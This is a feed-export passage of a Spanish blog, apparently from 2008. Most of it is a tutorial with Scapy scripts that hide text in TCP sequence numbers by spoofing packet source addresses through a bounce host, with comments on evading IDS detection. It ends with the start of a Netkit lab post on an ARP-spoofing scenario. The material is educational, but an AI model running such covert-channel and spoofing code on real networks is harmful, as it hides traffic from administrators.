255);"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;paquete_ip.dst &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; IP_INTERMEDIARIO&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;    # Falsificamos el origen del paquete&lt;br /&gt;# para que el intermediario responda al&lt;br /&gt;# destinatario del mensaje oculto (IP_DESTINO)&lt;br /&gt;# y no a nosotros.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;paquete_ip.src &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; IP_DESTINO &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;paquete_tcp &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; scapy.TCP&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;paquete_tcp.seq &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; caracter_valor_ascii&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;paquete_tcp.dport &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; PUERTO_ESCUCHA_INTERMEDIARIO&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;    # Si no fijamos un puerto origen, Scapy utilizará&lt;br /&gt;# siempre el 20, lo que puede ser muy sospechoso.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;paquete_tcp.sport &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; random.randint&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;49152&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;65535&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;paquete &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; paquete_ip &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;/&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; paquete_tcp&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;scapy.sr1&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;paquete&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"enviado caracter.&lt;span style="font-family:monospace;"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;pre style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;    # Esperar entre un paquete y otro reduce la probabilidad&lt;br /&gt;# de pérdidas, de llegadas desordenadas y de detecciones&lt;br /&gt;# por parte de los IDS.&lt;/i&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;time.sleep&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;INTERVALO_DE_ESPERA&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;)&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Mensaje enviado."&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:DejaVu Sans Mono,sans-serif;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"¡Que tenga un buen dia!"&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);font-family:arial;" &gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;En su lado Bob ejecutaría el siguiente programa:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;/pre&gt;&lt;blockquote&gt;&lt;pre style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;############################################&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# STEGRECEIVE&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# Programado por: Dante Signal31&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# Stegreceive permite recibir datos camuflados en&lt;br /&gt;# las cabeceras TCP&lt;/i&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt; de paquetes SYN de apariencia&lt;br /&gt;# perfectamente normal.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;#&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;############################################&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;##########&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# LIBRERIAS&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;##########&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;import&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; scapy&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;import&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;############&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# CONSTANTES&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;############&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;TRUE &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;FALSE &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;IP_INTERMEDIARIO &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"192.168.10.106"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;##################&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# PROGRAMA PRINCIPAL&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;##################&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Esperando mensaje desde el intermediario: "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; /&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; IP_INTERMEDIARIO &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"\n---"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;fin_mensaje &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; FALSE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# Fijamos el filtro de captura del tcpdump.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;filtro_captura &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"ip src host "&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;+&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; IP_INTERMEDIARIO&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;while&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;not&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; fin_mensaje&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;):&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    paquete_recibido &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; scapy.sniff&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt; /&lt;br /&gt;filter&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;filtro_captura , count &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(128, 128, 128);"&gt;&lt;i&gt;# Accedemos al campo ACK del subpaquete TCP recibido.&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    caracter_valor_ascii &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; /&lt;br /&gt;paquete_recibido&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;][&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;scapy.TCP&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;]&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.ack  &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;-&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    caracter &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;chr&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;caracter_valor_ascii&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;if&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;caracter &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;==&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;'#'&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;): &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        fin_mensaje &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;=&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; TRUE&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    sys.stdout.write&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;caracter&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;    sys.stdout.flush&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"\n---\nMensaje recibido."&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;b&gt;print&lt;/b&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"¡Que tenga un buen dia!"&lt;/span&gt;&lt;/pre&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt; &lt;/p&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&lt;/style&gt;He dejado en googlecode un &lt;a href="http://danteslab-files.googlecode.com/files/lab_stegtransport.tar.gz"&gt;laboratorio descargable&lt;/a&gt; de&lt;br /&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Netkit listo para probar estas herramientas.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Estas herramientas son meros ejemplos de laboratorio y son francamente mejorables. Por ejemplo, el campo de Número de Secuencia Reconocido de la cabecera TCP/IP tiene cuatro bytes y sólo estamos aprovechando uno para enviar el carácter del mensaje. Podríamos mejorar el programa utilizando los 3 bytes restantes: el primero podría rellenarse con un número de identificación de manera que se pudiera distinguir entre el tráfico legítimo entre Bob y Mercurio del tráfico esteganográfico; el segundo byte podría ser un mini-numero de secuencia  para que pudiesen ordenarse los paquetes en caso de que llegasen desordenados o bien detectarse pérdidas si las hubiera; el tercer y el cuarto byte se podrían usar para enviar dos caracteres en vez de uno. Otra mejora sería utilizar sockets DIVERT en el lado receptor para evitar que el kernel de Bob llame la atención del administrador enviando al intermediario paquetes de RST por recibir paquetes de SYN+ACK inesperados (debemos recordar que el receptor, Bob, no envió realmente el SYN inicial sino que lo hizo Alice). Queda como ejercicio para el lector desarrollar estas mejoras o cualquier otra que se le ocurra.&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Con esto damos por terminado el presente artículo en que se ha realizado una breve introducción a la esteganografía de red o dicho, de otra manera, el arte de ocultar información en tráfico de red aparentemente normal. Se pueden utilizar otras herramientas, otros protocolos  u otros campos de los paquetes pero por lo general la mayor parte de las técnicas de esteganografía de red se basarán en los fundamentos aquí presentados.&lt;/span&gt;&lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;    &lt;meta equiv="CONTENT-TYPE" content="text/html; charset=utf-8"&gt;  &lt;title&gt;&lt;/title&gt;  &lt;meta name="GENERATOR" content="OpenOffice.org 2.4  (Linux)"&gt;  &lt;style type="text/css"&gt;  &lt;!--   @page { size: 21cm 29.7cm; margin: 2cm }   P { margin-bottom: 0.21cm }  --&gt;  &lt;/style&gt;  &lt;/p&gt;&lt;p style="margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;/p&gt;&lt;p style="margin-left: 1.25cm; margin-top: 0.1cm; margin-bottom: 0.1cm;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;code&gt;&lt;span style="font-size:85%;"&gt;&lt;/span&gt;&lt;/code&gt;&lt;/span&gt; &lt;/p&gt;  &lt;div id="sdfootnote1"&gt;  &lt;p class="sdfootnote"&gt;&lt;a class="sdfootnotesym" name="sdfootnote1sym" href="http://www.blogger.com/post-create.g?blogID=3131013648748842611#sdfootnote1anc"&gt;&lt;/a&gt;&lt;/p&gt; &lt;/div&gt; &lt;p&gt;&lt;/p&gt;   &lt;p class="sdfootnote"&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3131013648748842611-2380775314803447687?l=danteslab.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/7k3j03KdH8vEcuDnbOoXWySApyI/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7k3j03KdH8vEcuDnbOoXWySApyI/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/7k3j03KdH8vEcuDnbOoXWySApyI/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/7k3j03KdH8vEcuDnbOoXWySApyI/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/gbEOY/~4/z955z-oO7Yg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://danteslab.blogspot.com/feeds/2380775314803447687/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3131013648748842611&amp;postID=2380775314803447687" title="2 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/2380775314803447687?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3131013648748842611/posts/default/2380775314803447687?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/gbEOY/~3/z955z-oO7Yg/esteganografa-de-red.html" title="Esteganografía de red" /><author><name>Dante</name><uri>http://www.blogger.com/profile/10254527212127539302</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_czXkQpCMagk/SQMm4qwn1XI/AAAAAAAAAGU/ReBlz_ZEgGg/s72-c/esteganografia_captura_ping.png" height="72" width="72" /><thr:total>2</thr:total><feedburner:origLink>http://danteslab.blogspot.com/2008/10/esteganografa-de-red.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUCRH48cSp7ImA9WxRXFk4.&quot;"><id>tag:blogger.com,1999:blog-3131013648748842611.post-3493309667978379467</id><published>2008-10-22T02:11:00.000+02:00</published><updated>2008-10-22T02:11:05.079+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-22T02:11:05.079+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="redes" /><category scheme="http://www.blogger.com/atom/ns#" term="virtualización" /><title>Creación de laboratorios virtuales con Netkit (II)</title><content type="html">En el &lt;a href="http://danteslab.blogspot.com/2008/09/creacin-de-laboratorios-virtuales-con.html"&gt;anterior artículo sobre Netkit&lt;/a&gt; vimos un ejemplo sencillo de sus posibilidades para simular una red con varios dispositivos. Las posibilidades son casi infinitas, pero es cierto que necesitamos algún tipo de automatización si queremos simular topologías complejas, con muchos nodos y sobre todo si queremos pasarle estas topologías a otros investigadores para que experimenten con ellas. Netkit aporta este nivel de automatización mediante &lt;span style="font-style: italic;"&gt;laboratorios&lt;/span&gt;, estructuras de directorios que contienen ficheros para configurar cada uno de los nodos de manera automática. Lo bueno es que podemos comprimir este árbol de directorios y pasárselo a otros investigadores los cuales podrán arrancar el laboratorio y tener todos los nodos configurados y funcionando con apenas un único comando. Además, este fichero comprimido no ocuparía practicamente nada ya que los ficheros de configuración de cada nodo son sólo texto.&lt;br /&gt;&lt;br /&gt;Vamos a preparar como ejemplo un laboratorio en el que simularemos un escenario en el que Alice se conecta a Internet desde la red conmutada de su organización. Lo que ella no sabe es que un intruso ha conseguido acceso a la red y pretende lanzar un ataque de arp-spoofing contra Alice para averiguar qué páginas de internet visita.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_czXkQpCMagk/SMuTcWCpr1I/AAAAAAAAAFs/0y_Pj_4WQNI/s1600-h/Diagrama_del_laboratorio.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_czXkQpCMagk/SMuTcWCpr1I/AAAAAAAAAFs/0y_Pj_4WQNI/s400/Diagrama_del_laboratorio.png" alt="" id="BLOGGER_PHOTO_ID_5245448306165395282" border="0" /&gt;&lt;/a&gt;Antes de nada debemos configurar Netkit para que funcione correctamente en nuestro sistema operativo en modo laboratorio. Lo primero son las variables globales que usa Netkit. En el artículo anterior las configuramos correctamente, el problema es que cuando arrancamos un laboratorio en el que uno de los equipos se conecta a Internet tenemos que usar &lt;span style="font-style: italic;"&gt;sudo&lt;/span&gt; el cual ignora por seguridad la mayor parte de las variables globales, entre ellas las que nosotros configuramos y usamos como usuarios normales.&lt;span style="color: rgb(255, 102, 102);"&gt; &lt;span style="color: rgb(0, 0, 0);"&gt;Para solucionarlo hay que configurar el sudo para que no ignore las variables de Netkit editando el fichero /etc/sudoers&lt;/span&gt;&lt;/span&gt;. En la sección "&lt;span style="font-style: italic;"&gt;Default&lt;/span&gt;" de este fichero hay que poner:&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;Defaults:dante  env_keep+="NETKIT_HOME", env_keep+="MANPATH"&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Por supuesto en vez de &lt;span style="font-style: italic;"&gt;dante&lt;/span&gt; hay que poner nuestro nombre de usuario. Faltaría la variable PATH y el sentido común dice que se debería poder configurar en el sudoers como las otras dos... el problema es que no es así y sudo sigue ignorando la variable PATH del usuario por mucho que nosotros configuremos en sudoers lo contrario. Es algo que de hecho ya está reportado en el Launchpad de Ubuntu como un &lt;a href="https://bugs.launchpad.net/ubuntu/+source/sudo/+bug/192651"&gt;bug&lt;/a&gt; largamente arrastrado. La solución es crear un alias que incluya el PATH de usuario cada vez que usemos sudo. Para ello editamos el fichero &lt;span style="font-style: italic;"&gt;.bash_aliases&lt;/span&gt; de nuestro home e introducimos:&lt;blockquote&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;#Para que funcione el NETKIT.&lt;br /&gt;alias sudo="sudo env PATH=$PATH"&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;Con eso Netkit cuenta con todas las variables necesarias, tanto si usamos sudo como si lo arrancamos como usuario normal.&lt;br /&gt;&lt;br /&gt;Por otro lado, la versión 2.6 tiene un bug que hace que no se levante bien la salida a Internet de la máquina virtual, la solución es un patch que sacó uno de los autores de la aplicación en la lista de correo:&lt;pre&gt;&lt;blockquote&gt;========================================================&lt;br /&gt;diff -Naur netkit-old/bin/script_utils netkit-new/bin/script_utils&lt;br /&gt;--- netkit-old/bin/script_utils 2007-12-19 10:55:58.000000000 +0100&lt;br /&gt;+++ netkit-new/bin/script_utils 2008-02-02 12:48:46.000000000 +0100&lt;br /&gt;@@ -317,8 +317,8 @@&lt;br /&gt;# This function starts all the hubs inside a given list&lt;br /&gt;runHubs() {&lt;br /&gt;local HUB_NAME BASE_HUB_NAME ACTUAL_HUB_NAME TAP_ADDRESS GUEST_ADDRESS&lt;br /&gt;-   HUB_NAME="$1"&lt;br /&gt;while [ $# -gt 0 ]; do&lt;br /&gt;+      HUB_NAME="$1"&lt;br /&gt;BASE_HUB_NAME="`varReplace HUB_NAME \".*_\" \"\"`"&lt;br /&gt;if [ "${BASE_HUB_NAME#tap${HUB_SOCKET_EXTENSION},}" !=&lt;br /&gt;"$BASE_HUB_NAME" 